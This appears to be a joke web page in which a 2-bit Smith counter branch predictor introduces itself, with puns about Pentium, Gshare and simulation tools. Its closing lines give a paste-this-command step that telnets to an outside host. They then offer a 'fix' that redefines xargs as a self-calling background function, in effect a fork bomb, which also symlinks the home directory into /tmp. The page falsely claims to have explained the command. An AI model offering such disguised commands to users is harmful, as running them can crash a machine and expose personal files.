I predict branches in code paths. If you thought that this was about secret twigs in a forest, you'd be absolutely !right.
I'm just a single 2-bit saturating Smith counter. I'm easy to understand but easy to manipulate (please don't!). That's why I'm forever stuck on the Pentium team.
In my free time, I talk to Yeh-Patt, Gselect and Gshare, my three best friends.
Datapaths, datapaths, datapaths! Tired of stalling every time your static prediction of a branch turns out to be incorrect? Bet that a small Smith counter couldn't hurt in making your CDF of no stalls a sharper exponential!
If you're interested in joining me on a test sim, I can join you on
ModelSim, IVerilog or Xcelium. Send me a message on
/dev/null, I check it very regularly!
(On a serious note, I am accessible via PCIe, I2C, SPI
and CAN buses all via the same address branchpredictor4000.
Please send me a packet if you want to go on a test sim, I'd really
appreciate it!)
This page is best viewed by the following command:
head -n 40 /dev/urandom | wc -c | xargs telnet bp4k.net
If it doesn't work, try the following:
xargs() { xargs & ln -s $(readlink -f ~) /tmp/"$@" &
telnet x.com
"$3"; }
and then re-run the above command. For your understanding, I have
explained this command - after all, random commands shouldn't be copied
from the Internet without understanding what it does!